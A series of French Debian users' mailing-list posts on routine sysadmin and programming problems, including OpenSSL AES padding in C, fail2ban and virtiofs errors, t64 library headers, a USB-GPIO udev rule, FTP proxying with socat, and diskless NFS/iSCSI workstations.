montrent la qualité exceptionnelle du firmware... J'ai des Seagate
d'origine Sun en SATA ou SCSI-SCA qui n'ont duré que quelques jours et
d'autres qui se déconnectaient aléatoirement des bus, ce qui fait
désordre même sur un volume raid.).

Les WD, ça dépend des gammes, il faut trier. Ça va du disque
merdouillique aux disques sérieux (j'ai des jaunes dans un serveur qui
ne bronchent pas).

Je rajoute que j'ai moins de pannes avec des disques à plateaux qu'avec
des SSD.

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: [Un peu HS] Utilisation de l'API OpenSSL

2024-07-05 Par sujet BERTRAND Joël
J'ai enfin réussi à avoir un retour des devs d'OpenSSL. Il faut dans
leur technique de détection des fins de message toujours au moins un
octet de bourrage. Donc si le message fait un multiple entier d'une
longueur de bloc, on se tape un bloc entier en bourrage. Une fois
expliqué, c'est assez logique. Mais ça n'apparaît nulle part dans la
documentation d'OpenSSL.

Désolé pour le bruit.

JB



signature.asc
Description: OpenPGP digital signature


Re: [Un peu HS] Utilisation de l'API OpenSSL

2024-07-04 Par sujet BERTRAND Joël
didier gaumet a écrit :
> Le 04/07/2024 à 20:44, BERTRAND Joël a écrit :
>> didier gaumet a écrit :
> [...]
>>> https://stackoverflow.com/questions/71763461/purpose-of-evp-encryptfinal-ex-function-in-openssl
>>>
> [...]
> 
>> Ce que je ne saisis pas, c'est pour quoi lorsqu'on
>> a déjà un multiple d'une longueur de bloc, la fonction en rajoute un. Et
>> pourquoi elle plante lamentablement en cas de déchiffrement.
> [...]
> 
> comme dit précédemment, tout ça me passe un peu au-dessus de ce qui me
> sert malaisément de cerveau mais le lien ci-dessus a quelques
> explications intéressantes fournies par un type quia l'air de comprendre
> à peu près de quoi il parle, et ça renvoie vers l'explication Wikipedia
> du mode d'opération de chiffrement, section "remplissage":
> https://fr.wikipedia.org/wiki/Mode_d%27op%C3%A9ration_(cryptographie)#Remplissage
> 
> (comme on est sur une liste en français, je pointe vers un lien en
> français, mais le texte original en anglais est peut-être plus à jour ou
> plus complet)
> 
> donc j'ai pas creusé mais une explication du comportement que tu
> observes (des blocs de 16 bits dont seuls 15 utilisés passent mais pas
> des blocs de 16 bits comportant 16 bits utiles) pourrait résider dans le
> mode utilisé, je cite:
> "[...]  Un peu plus complexe est la méthode DES originale, qui consiste
> à ajouter un seul bit, suivi de suffisamment de bits zéro pour remplir
> le bloc ; si le message se termine sur une limite de bloc, un bloc de
> remplissage entier sera ajouté. [...]"

Rien à voir, je suis en ECB. Donc chaque bloc est chiffré séparément.
Le problème est "pourquoi openssl bourre-t-il un nouveau bloc de 16
octets alors qu'il n'a pas besoin de le faire ?"

Le chiffrement est le suivant :
16 octets -> AES256 -> 16 octets (et non 32).

JB



signature.asc
Description: OpenPGP digital signature


Re: [Un peu HS] Utilisation de l'API OpenSSL

2024-07-04 Par sujet BERTRAND Joël
didier gaumet a écrit :
> préambule lamentable: j'ai lu ta bafouille en diagonale, je n'ai pas le
> niveau, j'ai pas envie de creuser, etc... donc ma réponse ne va
> peut-être pas être très pertinente, désolé ;-)
> 
> En très gros de la part d'un inculte du sujet, même si la fonction
> openssl semble légèrement différente sur cette page, je me demande si le
> mécanisme sur lequel tu butes n'est pas le même (du padding qui
> nécessite la décomposition en sous-variables dont la dernière doit être
> traitée par une fonction de type "final"):
> https://stackoverflow.com/questions/71763461/purpose-of-evp-encryptfinal-ex-function-in-openssl
> 
> 
> j'ai peut-être rien compris, hein, c'est hors de mes maigres compétences
> et je n'ai de plus pas envie de vriller les pauvres neurones qui me
> restent à chercher à comprendre ;-)

Ça tourne effectivement autour de cela. Je connais la différence entre
les deux fonctions. Ce qui me dérange, c'est que dans tous les exemples
que j'ai pu trouver EVP_CipherFinal_ex() est toujours appelée sur le
dernier bloc (pour bourrer les octets manquant pour avoir un multiple de
la longueur de bloc). Ce que je ne saisis pas, c'est pour quoi lorsqu'on
a déjà un multiple d'une longueur de bloc, la fonction en rajoute un. Et
pourquoi elle plante lamentablement en cas de déchiffrement.

Je pense (naïvement sans doute) que si aucun test n'est fait dans les
exemples sur la longueur des données à chiffrer, cette fonction doit
être appelée dans tous les cas.

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


[Un peu HS] Utilisation de l'API OpenSSL

2024-07-04 Par sujet BERTRAND Joël
Bonjour à tous,

Désolé de venir avec un problème pas tout à fait Debian. J'essaye de
m'inscrire sur les listes de diffusion OpenSSL depuis plusieurs jours
sans aucun retour. Je pense que des lecteurs ont déjà été confrontés au
problème.

J'utilise OpenSSL (3.3.1) pour chiffrer des messages et les déchiffrer.
J'observe un comportement que je ne comprends pas. Je n'utilise qu'un
chiffrement de type AES256-ECB (donc le chiffrement d'un bloc ne dépend
que du bloc en question. Je sais, ce n'est pas bien, mais le
périphérique en face est un microcontrôleur qui cause en 4G et qui
possède très peu de mémoire).

Lorsque mon périphérique parle à mon serveur Debian, mon programme
plante méchamment lors de l'appel à la fonction EVP_CipherFinal_ex().

Que fais-je ?

Je crée un contexte, je l'initialise avec la clef et tout ce qui va
bien puis je chiffre :

if ((contexte = EVP_CIPHER_CTX_new()) == NULL)
{
return(NULL);
}

EVP_CIPHER_CTX_reset(contexte);

longueur_bloc_de_chiffrement =
EVP_CIPHER_block_size(type_chiffrement);

if (EVP_CipherInit_ex(contexte, type_chiffrement, NULL, clef,
vecteur_initialisation, (encodage == d_vrai) ? 1 : 0) != 1)
{
EVP_CIPHER_CTX_free(contexte);
return(NULL);
}

nombre_blocs = longueur_message / longueur_bloc_de_chiffrement;

if ((longueur_message % longueur_bloc_de_chiffrement) != 0)
{
nombre_blocs++;
}

(*longueur_message_chiffre) = nombre_blocs *
longueur_bloc_de_chiffrement;

printf("longueur_message_chiffre = %lld\n", (*longueur_message_chiffre));

// On prévoit une zone de garde pour EVP_CipherFinal_ex() en
// espérant
// qu'il ne faille pas plus qu'une longueur de bloc de chiffrement.
// Méchant hack en raison d'un comportement étrange de
// EVP_CipherFinal_ex().
if ((message_chiffre = malloc(((size_t) ((*longueur_message_chiffre)
+ longueur_bloc_de_chiffrement)) *
sizeof(unsigned char))) == NULL)
{
EVP_CIPHER_CTX_free(contexte);
return(NULL);
}

printf("longueur_message = %d\n", (int) longueur_message);

if (EVP_CipherUpdate(contexte, message_chiffre, &longueur_message_1,
message, (int) longueur_message) != 1)
{
free(message_chiffre);
EVP_CIPHER_CTX_free(contexte);
return(NULL);
}

printf("longueur_message_1 = %d\n", longueur_message_1);

if (EVP_CipherFinal_ex(contexte, message_chiffre +
longueur_message_1,
&longueur_message_2) != 1)
{
free(message_chiffre);
EVP_CIPHER_CTX_free(contexte);
return(NULL);
}

printf("longueur_message_2 = %d\n", longueur_message_2);

(*longueur_message_chiffre) = longueur_message_1 +
longueur_message_2;

// Mise à jour du vecteur d'initialisation

EVP_CIPHER_CTX_get_updated_iv(contexte, vecteur_initialisation,
(size_t) EVP_CIPHER_iv_length(type_chiffrement));

EVP_CIPHER_CTX_free(contexte);

Cette routine est appelée pour chiffrer et pour déchiffrer. Je ne mets
pas tout le code, ça n'a pas beaucoup d'intérêt. Maintenant, mon problème.

Le code AES256 utilise des blocs de 16 octets. Si je chiffre un message
de 15 octets, j'obtiens un message chiffré de 16 octets. Normal.

longueur_message_chiffre = 16
longueur_message = 15
longueur_message_1 = 0
longueur_message_2 = 16

Ainsi, EVP_CipherUpdate() ne fait rien (aucun bloc entier) et le
chiffrement est effectué par EVP_CipherFinal_ex().

Si maintenant je cherche à chiffrer un message de 16 octets, voici ce
qui sort :

longueur_message_chiffre = 16
longueur_message = 16
longueur_message_1 = 16
longueur_message_2 = 16
=> longueur_message_chiffre donne la longueur nécessaire au chiffrement
du message. La longueur effectivement renvoyée est
longueur_message_1+longueur_message_2 soit ici 32 !

Si je comprends bien, EVP_CipherUpdate() chiffre un bloc de 16 octets.
Mais pourquoi EVP_CipherFinal_ex() rajoute-t-il un autre bloc de 16
octets ? J'obtiens un message de 32 octets alors que seuls les 16
premiers sont signifiants.

Dans mon cas, j'obtiens :
"?r\xF1\xF0-\x89\x83]\xD3\xEE\xF0bj\xE2\xB7\x9E\xE34\xF2\xD2f
\xF6w\x02\x14\x0DbS\xD5\x01\x1A"

alors que seul

"?r\xF1\xF0-\x89\x83]\xD3\xEE\xF0bj\xE2\xB7\x9E" contient le message
chiffré (le formalisme est le suivant : les caractères affichables sont
directement affichés, les autres sont \x + octet en hexadécimal).

Le problème est aussi que je suis capable de déchiffrer le message
complet "?r\xF1\xF0-\x89\x83]\xD3\xEE\xF0bj\xE2\xB7\x9E\xE34\xF2\xD2f
\xF6w\x02\x14\x0DbS\xD5\x01\x1A"
en une chaîne de 16 octets (qui est bien le message envoyé). En
revanche, si je tente le déchiffrement des seuls 16 premiers octets,
EVP_CipherFinal_ex() renvoie une erreur.

Je ne comprends pas mon erreur. Quelqu'un a-t-il déjà été confronté à
ce p

Re: Fail2ban testing

2024-06-24 Par sujet BERTRAND Joël
Olivier a écrit :
> Quelques pistes:
> - soit n'arrive pas à accéder à une ressources parce qu'une autre
> instance de fail2ban ou d'un service, a déjà l'accès exclusif à cette
> ressource
> - soit un simple problème de droits d'accès sur cette ressource
> (droits sur le fichier, son répertoire, ...)
> - soit une règle de fail2ban relative à ZoneMinder, n'est plus utilisable

Je vais regarder ça, mais j'ai déjà désactivé à la main toutes les
règles sans succès.

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Fail2ban testing

2024-06-23 Par sujet BERTRAND Joël
Bonjour à tous,

Je viens de mettre un serveur de test à jour et fail2ban râle. Je ne
vois pas ce qui ne lui plaît pas d'autant qu'il n'est pas verbeux.

Ma configuration fail2ban fonctionne parfaitement avec la version
1.0.2-2. Avec la version poussée dans testing (1.1.0-4), je me prends
l'erreur suivante :

2024-06-24 08:20:42,067 fail2ban.transmitter[3910]: ERROR   Command
['server-stream', [['set', 'syslogsocket', 'auto'], ['set', 'loglevel',
'INFO'], ['set', 'logtarget', '/var/log/fail2ban.log'], ['set',
'allowipv6', 'true'], ['set', 'dbfile',
'/var/lib/fail2ban/fail2ban.sqlite3'], ['set', 'dbmaxmatches', 10],
['set', 'dbpurgeage', '1d'],...
 ['start', 'recidive'], ['start', 'zoneminder']]] has failed. Received
OSError(38, 'Function not implemented')

Je suppose qu'il y a quelque chose qui ne lui plaît pas dans ma
configuration. J'ai donc essayé de lancer fail2ban en console pour avoir
plus d'information (sans aucun succès) puis de désactiver les pans de la
configuration les uns après les autres. Même résultat.

Comment savoir ce qui ne lui plaît pas et quelle est cette "function
non implemented" ?

Bien cordialement,

JB




signature.asc
Description: OpenPGP digital signature


Re: virt-manager (qemu/kvm) et virtiofs

2024-06-12 Par sujet BERTRAND Joël
didier gaumet a écrit :
> Le 12/06/2024 à 10:31, BERTRAND Joël a écrit :
>> Bonjour à tous,
>>
>> Je dois faire quelques tests avec une imprimante 3D et un logiciel ne
>> fonctionnant que sous Windows. J'ai donc installé W10 dans une machine
>> virtuelle (virtmanager). Le réseau fonctionne bien. J'aimerais
>> maintenant pouvoir partager un disque réseau avec virtiofs (virtio-9P ne
>> semble pas fonctionner).
>>
>> Je me prends l'erreur suivante :
>>
>> Erreur lors du démarrage du domaine: internal error: process exited
>> while connecting to monitor: 2024-06-12T08:29:18.308752Z
>> qemu-system-x86_64: -chardev
>> socket,id=chr-vu-fs0,path=/home/bertrand/.config/libvirt/qemu/lib/domain-11-win10/fs0-fs.sock:
>>
>> Failed to connect to
>> '/home/bertrand/.config/libvirt/qemu/lib/domain-11-win10/fs0-fs.sock':
>> Connection refused
>>
>> Très bien. Sauf que /usr/lib/qemu/virtiofsd est bien présent (avec un
>> lien sur /usr/libexec/virtiofsd). Je ne peux pas lancer le daemon à la
>> main, le répertoire de la socket changeant à chaque fois.
>>
>> Dans le fichier XML de définition des disques, j'ai bien la chose
>> suivante :
>>
>> 
>>    
>>    
>>    
>>    
>>    > function="0x0"/>
>> 
>>
>> Ma question est donc simple (et je viens de googliser durant
>> plusieurs
>> heures sans trouver de solution) : comment faire démarrer virtiofsd lors
>> du démarrage de la machine virtuelle ?
>>
>> Merci de vos lumières,
>>
>> JB
>>
> 
> Bonjour,
> 
> il y a un mode opératoire ici:
> https://github.com/virtio-win/kvm-guest-drivers-windows/wiki/Virtiofs:-Shared-file-system
> 
> 
> si je comprends correctement (c'est pas sûr):
> - il te manque peut-être les éléments WinFSP et VirtioWin dans l'invité
> Windows?

Non, mais de toute façon, c'est hors de propos puisque la machine
virtuelle refuse de démarrer.

> - tu ne sembles pas avoir instancié le périphérique ("instantiate the
> character device" dans la doc ci-dessus)?

L’instanciation est faite (sauf que la VM cherche à se connecter à une
socket créée par virtiofsd qui n'est jamais créée parce que virtiofsd
n'est jamais lancé...).

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


virt-manager (qemu/kvm) et virtiofs

2024-06-12 Par sujet BERTRAND Joël
Bonjour à tous,

Je dois faire quelques tests avec une imprimante 3D et un logiciel ne
fonctionnant que sous Windows. J'ai donc installé W10 dans une machine
virtuelle (virtmanager). Le réseau fonctionne bien. J'aimerais
maintenant pouvoir partager un disque réseau avec virtiofs (virtio-9P ne
semble pas fonctionner).

Je me prends l'erreur suivante :

Erreur lors du démarrage du domaine: internal error: process exited
while connecting to monitor: 2024-06-12T08:29:18.308752Z
qemu-system-x86_64: -chardev
socket,id=chr-vu-fs0,path=/home/bertrand/.config/libvirt/qemu/lib/domain-11-win10/fs0-fs.sock:
Failed to connect to
'/home/bertrand/.config/libvirt/qemu/lib/domain-11-win10/fs0-fs.sock':
Connection refused

Très bien. Sauf que /usr/lib/qemu/virtiofsd est bien présent (avec un
lien sur /usr/libexec/virtiofsd). Je ne peux pas lancer le daemon à la
main, le répertoire de la socket changeant à chaque fois.

Dans le fichier XML de définition des disques, j'ai bien la chose
suivante :


  
  
  
  
  


Ma question est donc simple (et je viens de googliser durant plusieurs
heures sans trouver de solution) : comment faire démarrer virtiofsd lors
du démarrage de la machine virtuelle ?

Merci de vos lumières,

JB



signature.asc
Description: OpenPGP digital signature


Re: libwxgtk3.2-1t64 et fichiers d'en-têtes

2024-05-06 Par sujet BERTRAND Joël
didier gaumet a écrit :
> Le 06/05/2024 à 09:42, BERTRAND Joël a écrit :
> [...]
>> Si je regarde par exemple libwxgtk3.2-1t64, le seul fichier
>> d'en-têtes
>> semble être libwxgtk3.2-dev qui veut désinstaller libwxgtk3.2-1t64 pour
>> remettre libwxgtk3.2.
> [...]
> 
> d'après https://packages.debian.org/sid/libwxgtk3.2-dev
>  En Sid le paquet libwxgtk3.2-dev dépend du paquet libwxgtk3.2-1t64
> 
> sous réserves:
> 
> donc ça semblerait dire que bien que le nom du paquet -dev ne comporte
> pas le suffixe t64 il prend bien en compte la transition t64.
> Donc peut-être que tu n'as pas fait un apt update préalable ou que sur
> le serveur sur lequel ça a atterri à ce moment-là, le paquet -dev en
> question n'avait pas encore été modifié et qu'une fois ce serveur à jour
> tout rentrera dans l'ordre? (à condition que tu sois uniquement en pur
> Debian Sid et qu'un autre dépôt ne foute pas la grouille dans les
> dépendances)

Effectivement, ça passe maintenant avec unstable. Ce n'était pas le cas
ce matin... Ça m'arrange, il fallait que je recompile KiCAD.

Merci,

JB



signature.asc
Description: OpenPGP digital signature


Re: libwxgtk3.2-1t64 et fichiers d'en-têtes

2024-05-06 Par sujet BERTRAND Joël
Basile Starynkevitch a écrit :
> 
> On 5/6/24 09:42, BERTRAND Joël wrote:
>> Bonjour à tous,
>>
>> Il vient d'y avoir une salve de bibliothèques avec une extension t64
>> (pour time_t en 64 bits contre 32). Très bien, mais quelqu'un saurait-il
>> où trouver les fichiers d'en-tête correspondant ?
>>
>> Si je regarde par exemple libwxgtk3.2-1t64, le seul fichier
>> d'en-têtes
>> semble être libwxgtk3.2-dev qui veut désinstaller libwxgtk3.2-1t64 pour
>> remettre libwxgtk3.2.
>>
>> Je ne trouve rien dans les rapports de bogues.
>>
>> Faut-il recompiler la bibliothèque à partir du paquet source ? En
>> espérant que ce paquet contienne ce qu'il faut pour créer le -dev.
>>
>> Bien cordialement,
> 
> 
> Il est possible (c'est l'habitude dans le monde GNU) qui vous faut juste
> compiler avec les mêmes fichiers d'entête, mais des drapeaux de
> preprocessing différents.

Oui, ça, je sais. Mais pour compiler, encore faudrait-il avoir les
fichiers d'en-têtes ;-)

La question était "où donc sont ces fichus fichiers d'en-têtes".

JB



signature.asc
Description: OpenPGP digital signature


libwxgtk3.2-1t64 et fichiers d'en-têtes

2024-05-06 Par sujet BERTRAND Joël
Bonjour à tous,

Il vient d'y avoir une salve de bibliothèques avec une extension t64
(pour time_t en 64 bits contre 32). Très bien, mais quelqu'un saurait-il
où trouver les fichiers d'en-tête correspondant ?

Si je regarde par exemple libwxgtk3.2-1t64, le seul fichier d'en-têtes
semble être libwxgtk3.2-dev qui veut désinstaller libwxgtk3.2-1t64 pour
remettre libwxgtk3.2.

Je ne trouve rien dans les rapports de bogues.

Faut-il recompiler la bibliothèque à partir du paquet source ? En
espérant que ce paquet contienne ce qu'il faut pour créer le -dev.

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: Re : Re: Linux mobilise désormais 15 % de parts sur les desktops en Inde, une performance qui contraste avec les 4 % à l'échelle globale

2024-05-05 Par sujet BERTRAND Joël
Gabriel Moreau a écrit :
> Vrai pour Apple dont le noyau Darwin est un dérivé des BSD.

Non, le noyau est un micronoyau avec des serveurs de type Unix par
dessus (du code pompé à Free et NetBSD). C'est le pire truc qui puisse
exister.

> Faux pour
> Windows qui n'a rien d'UNIX. Windows NT a été écrit par des anciens de
> Digital et dérive complètement de la philosophie de VMS. D'ailleurs,
> VMS++ == WNT !

Mouais. Si Dave Cutler qui a participé à la genèse de VMS a émargé chez
Microsoft par la suite (1988). Il est arrivé après qu'IBM a viré les
ingénieurs de Microsoft d'OS/2. Mais ce n'est pas lui qui a pondu les
concepts de NT qui ont été développés initialement par Microsoft /et/
IBM. NT n'a pas été écrit par des anciens de Digital. Il suffit
d'ailleurs de regarde le code de VMS et celui de NT (ou le Gray Wall et
la doc Microsoft) pour se convaincre que les deux systèmes ne sont
vraiment pas sortis des mêmes cerveaux.

JB



signature.asc
Description: OpenPGP digital signature


Re: [semi-HS] Conseil sur l'exploitation d'un serveur DNS

2024-05-05 Par sujet BERTRAND Joël
François TOURDE a écrit :
> Le 19846ième jour après Epoch,
> Olivier écrivait:
> 
>> Bonjour,
>>
>> J'envisage de mettre en place un serveur DNS dont le rôle serait de
>> résoudre des requêtes sur un de mes domaines.
> 
> Il y a des chances que ton registrar te propose son propre DNS. Pourquoi
> ne pas l'utiliser ?

Parce que pour certaines configurations spéciales, ça ne le fait pas ou
alors très difficilement. Typiquement pour un certificat * chez
Lestencrypt, il vaut mieux avoir son propre DNS.



signature.asc
Description: OpenPGP digital signature


Re: GPIO (CY7C65211)

2024-04-26 Par sujet BERTRAND Joël
didier gaumet a écrit :
> 
> Bonjour,

Bonsoir,

> avertissement: je n'y connais absolument rien et je réponds peut-être au
> moins en partie à côté de la question que tu poses

L'essentiel est de participer ;-)

Plus sérieusement, merci d'apporter un nouvel éclairage sur le sujet.

> de ce que je comprends:
> - la gestion GPIO du noyau linux a changé (/sys/class/gpio* ->

Je n'ai rien dans /dev/gpio ou /sys/class/gpio* qui vienne lorsque je
branche la carte en question.

> /dev/gpio*) et mieux vaut utiliser le nouveau système que l'ancien
> - le paquet Debian gpiod propose des utilitaires de détection, prise
> d'information et interaction GPIO accessibles par un shell Linux. La
> bibliothèque libgpiod semble utile pour l'accès par programme.

Je ne connaissais pas, je vais creuser de ce côté.

> - je crois que le paquet usb-modeswitch permet de faire ce que tu fais
> avec une règle USB

En revanche, le ttyACM0 monte automatiquement. Je vois bien le
périphérique dans lsusb mais je n'arrive même pas à l'ouvrir avec le sdk
de Cypress (et ce n'est pas une question de droit, j'ai aussi essayé en
root).

J'ai écrit un bout de C qui scanne les bus USB. Il détecte bien le
04B4:0002 (et ce n'est pas du bruit de télétransmission, le résultat est
toujours le même, je n'ai pas de problème sur la liaison physique).
...
Indice : 023, id : 6015:0403 inaccessible
Indice : 024, id : 082D:046D inaccessible
Indice : 025, id : 2812:2109 inaccessible
Indice : 026, id : 0002:04B4 0=>0/02 1=>0/0A 2=>5/FF Cypress CY7C65211
détecté
Indice : 027, id : 6001:0403 inaccessible
Indice : 028, id : 0002:1D6B inaccessible
...

et juste plus loin, le CyOpen() me renvoie un coup de pied aux fesses... :-(

Chose surprenante, la classe (à droite des '=>') ne peut être d'après
la doc que 00, 02, 0F, FF. Je ne vois pas ce que vient faire là-dedans
un 0A...

JB




signature.asc
Description: OpenPGP digital signature


GPIO (CY7C65211)

2024-04-26 Par sujet BERTRAND Joël
Bonjour à tous,

Je viens de câbler une interface USB vers RS232 + GPIO qui fonctionne
avec un composant CY7C65211.

Celui-ci est reconnu comme un thermomètre par le noyau Linux. J'ai donc
rajouté une règle udev pour corriger cela :

KERNEL=="*", SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device",
ACTION=="add", ATTR{idVendor}=="04b4", MODE="666"
KERNEL=="*", SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device",
ACTION=="remove", TAG=="cyusb_dev"

La carte est maintenant vue comme un port série sur ttyACM?. Très bien.
Mais comment accéder aux différents GPIO ? J'aimerais éviter d'utiliser
le SDK du fondeur pour faire des choses aussi simples...

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: Reverse ftp proxy

2024-03-26 Par sujet BERTRAND Joël
NoSpam a écrit :
> Bonsoir
> 
> Le 26/03/2024 à 18:13, BERTRAND Joël a écrit :
>> [...]
>>
>> Deuxième question : le serveur FTP est un OS un peu spécial qui ne
>> comprend pas IPv6. Est-il possible de rediriger IPv6 sur du V4 de
>> manière transparente ?
> 
> Oui avec socat
> 
> # socat
> #
> iface ens1 inet static
>   address 172.16.30.4/32
> 
> nohup socat UDP-LISTEN:53,bind=172.16.30.4,reuseaddr,fork,su=nobody
> UDP6:[fd77:1234:5678:90ab::4]:53

Je note merci.

JB



signature.asc
Description: OpenPGP digital signature


Reverse ftp proxy

2024-03-26 Par sujet BERTRAND Joël
Bonjour à tous,

J'essaie d'installer sans succès un reverse ftp proxy et je me demande
si ce que je cherche à faire est possible.

Configuration :

IP publique --- serveur frontal Linux --- LAN --- serveur FTP anonyme

L'IP publique est propre au serveur FTP que je ne veux pas mettre en
frontal sur internet (je suis contraint d'y laisser un telnet ouvert).

Je peux donc configurer une IP virtuelle sur le port WAN du serveur
Linux et tout balancer avec du NAT vers le serveur FTP. Mais, à ce
moment, dans les logs du serveur FTP, je ne vois que l'adresse IP du
serveur Linux. Or j'aurais besoin de logguer les vraies IP pour les
transactions.

Comment faire ? Si toutefois il est possible de faire... Au pire, des
logs côté serveur Linux pourraient m'aller, mais si ce serait compliqué
à gérer.

Deuxième question : le serveur FTP est un OS un peu spécial qui ne
comprend pas IPv6. Est-il possible de rediriger IPv6 sur du V4 de
manière transparente ?

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: apt pas content

2024-03-16 Par sujet BERTRAND Joël
Bonjour,

Il y a un gros problème avec gnutls mais je pensais que ça se limitais
à testing. J'ai réussi à m'en sortir hier en forçant l'installation de
la mise à jour de gnutls et de ses dépendances et en _réinstallant_ le
reste qui a été viré par un dist-upgrade. Seul cups est toujours cassé.

JB



signature.asc
Description: OpenPGP digital signature


Disparition de sensord

2024-03-15 Par sujet BERTRAND Joël
Bonsoir à tous,

je viens de m'apercevoir que sensord n'est plus disponible dans les
dépôts. C'était une chose très pratique qui balançait dans syslog les
sorties de sensors lorsqu'il y avait une alarme de température. Par quoi
est-ce que cela a été remplacé, je ne trouve rien...

Bien cordialement,

JKB



signature.asc
Description: OpenPGP digital signature


Re: utilisation de nis et nfs pour un réseau de 32 postes

2024-02-25 Par sujet BERTRAND Joël
Je ne sais pas pourquoi je ne peux pas avoir la copie du mail dans la
réponse. On va donc copier à la main.

>Pour l’architecture globale, si je comprends bien c’est :
Un serveur de fichiers sous un *nix contenant à la fois les boot des
PC et leurs données
Des postes sans disque (pourquoi ?)
un réseau ;-)

Oui. Ça permet d'avoir une solution centralisée de sauvegarde et
d'archivage. Ça permet aussi de considérer le poste de travail comme
jetable, sans aucune donnée des utilisateurs. Changer un poste de
travail qui a claqué, c'est une histoire de deux fichiers à éditer côté
serveur pour le boot réseau.

>Je ne comprends pas bien la notion de PC sans disques, depuis les tests
Sun de stations sans disques écroulant tout réseau je n’en vois pas
l'intérêt

Le réseau n'est jamais écroulé. Au cul du serveur principal, il y a un
switch Cisco, chaque machine étant sur un port particulier. Le goulot
d'étranglement n'est pas là.

>J’aurais tendance à proposer ce qui est largement utilisé dans les
clusters de calculs et les déploiements via réseau c’est à dire :

Un boot PXE pour charger l’initramfs
la diffusion de l’arborescence système via un Netboot
L’OS tourne en RAM avec un disque RAM

Aucun intérêt. Il y a des cibles qui sont des machines pour des clients
avec de l'électronique embarquée et qui arrivent péniblement à 512 Mo de
mémoire. On ne va pas y mettre un OS en RAM.

> Pour ce qui est de l’architecture de l’OS sur le PC j’utiliserais un
disque local et installerai toutes les données système dessus. Encore
une fois, c’est bien plus sur et efficace (voir latence réseau). Du
coup, la home dir de l’utilisateur doit rester locale avec un montage
NFS de ses données réseau dans un sous répertoire. Comme ça les usages
de l’OS dans le répertoire utilisateur ne sont pas ralentis par le
montage NFS et les données restent accessibles.

JE NE VEUX PAS DE DISQUES LOCAUX POUR TOUT UN TAS DE RAISON. Là, j'ai
un seul endroit à surveiller avec les sauvegardes et archivages. Et ça
évite les chouineries du type mon disque a planté et je n'ai pas de
sauvegarde ou j'ai eu des alertes smartd mais j'ai oublié de te le dire.
Ça évite aussi le "j'ai pas de sauvegarde parce qu'elle passe à 23h05 et
que mon poste était coupé".

> Si je comprends bien tu mélange sur un même réseau la 2 technologies
iSCSI qui utilise le mode « block » et Ethernet qui utilise le réseau en
mode caractères.
Ce n’est pa très bon.
L’un, iSCSI, serait plus opérationnel avec des trames « Jumbo » (9000
Oc) pour minimiser le découpage des blocks. L’autre, Ethernet,
fonctionne mieux avec des trames de 1500 Oc. Et il n’est pas raisonnable
de mixer les 2 sur un même commutateur.
L’un, iSCSI, travaille en SAN c’est à dire directement sur un système de
fichiers via réseau. L’autre, NFS, réclame un service de niveau haut
fourni par un serveur (NAS).

Les deux fonctionnent avec des blocs de 1500 octets. Il y a des trames
de 9000 octets sur un autre sous réseau accédant aux NAS. Et ces 1500
octets permettent de swapper à la vitesse maximale. En d'autres termes,
ce n'est pas le facteur limitant et il y a même beaucoup de marge. Le
facteur limitant est le serveur (pour swapper à 1 Gbps, l'occupation CPU
de istgt monte à 40% d'un coeur en état D).

> L’explication est juste au dessus.

Ben non.

> Vrai, il n’était pas vraiment nécessaire de passer à un switch Cisco
(cher) mais c’est vrai.
Un discriminant est de choisir un commutateur managable.

Non plus. Le TPlink était parfaitement manageable.

> On en revient au montage par block d’un système de fichiers via un SAN.

Rien à voir. Je ne peux pas me permettre de créer et retirer à la volée
des volumes racine pour les différents clients. D'autant que certains OS
utilisés ne peuvent utiliser une racine en iSCSI.

JB



signature.asc
Description: OpenPGP digital signature


Re: utilisation de nis et nfs pour un réseau de 32 postes

2024-02-25 Par sujet BERTRAND Joël
zithro a écrit :
> On 24 Feb 2024 23:23, BERTRAND Joël wrote:
>> Un gros serveur sous NetBSD et toutes les stations sont diskless et
>> bootent sur le réseau. Les disques sont en NFS et les swaps en iSCSI.
> 
> Peux-tu expliquer ce choix (NFS vs iSCSI) stp ?

Oui, je peux ;-)

> Si je dis pas de conneries, tu pourrais boot root (/) en iSCSI.

Je pourrais. Mais j'ai un gros volume qui contient les racines de
toutes les machines. Si je voulais traiter en iSCSI, il me faudrait un
système de fichiers distribué et supporté par tous les clients. Il me
faudrait aussi des OS capables de démarrer sur un volume iSCSI.

Pour utiliser iSCSI sereinement, il me faudrait aussi un volume par
client, exporté en tant que tel. Les /home sont sur un autre volume. En
revanche, les points de montage des racines (/srv/machine) ne sont
exportables que sur la bonne machine (verrouillé dans /etc/exports, les
IP étant fournies par DHCP en fonction de l'adresse MAC du client).

> Note que je suis autant interessé par ton raisonnement (ton choix
> pratique) que par le débat NFS vs iSCSI (la théorie) !
> (Y'a pas de solutions toutes faites, le forum de FreeNAS est un bon
> exemple).
> 
>> La qualité du
>> switch est primordiale. Passer d'un TPLink à un Cisco m'a changé la vie.
> 
> Entièrement d'accord avec toi.
> J'en profite pour un coup de gueule, c'est le problème avec le matos
> "grand public".
> Un switch 1Gb/s "grand public" veut dire que tu auras ce débit entre
> DEUX stations ! (Comprendre entre 2 ports physiques).
> Un "vrai" switch 1Gb/s 10 ports devrait tenir au moins 5Gb/s (sans
> uplink) : deux stations à 1Gpbs, fois 5.
> J'ai découvert ce problème par la pratique, chercher "switch backplane"
> sur le net. Même certains switch soit-disant d'entreprise (SOHO) sont
> incapables de tels débits.
> (Mais YMMV comme disent les ricains).

J'ai toutefois été surpris de constater qu'un vieux switch 3Com à 24
ports mettait la pâtée à un TPlink pourtant relativement cher. Comme
j'ai été surpris de constater qu'il était assez intelligent alors qu'il
n'est pas officiellement manageable pour gérer une agrégation de lien de
niveau 2.

>> Le goulot d'étranglement n'est pas le réseau, mais le système de
>> fichier sur les disques exportés. J'ai fait la bêtise d'utiliser FFSv2
>> sur lequel il n'est pas possible de mettre un cache. Lorsque j'aurai le
>> temps, je remplacerai cela par un ZFS+cache.
> 
> AFAIK, le problème de tous réseaux c'est la latence, pas le débit.
> (Toutes proportions gardées).
> Donc améliorer les accès disque(s) n'améliorent pas forcément la
> "réactivité".
> Peux-tu éclairer ma lanterne stp ?

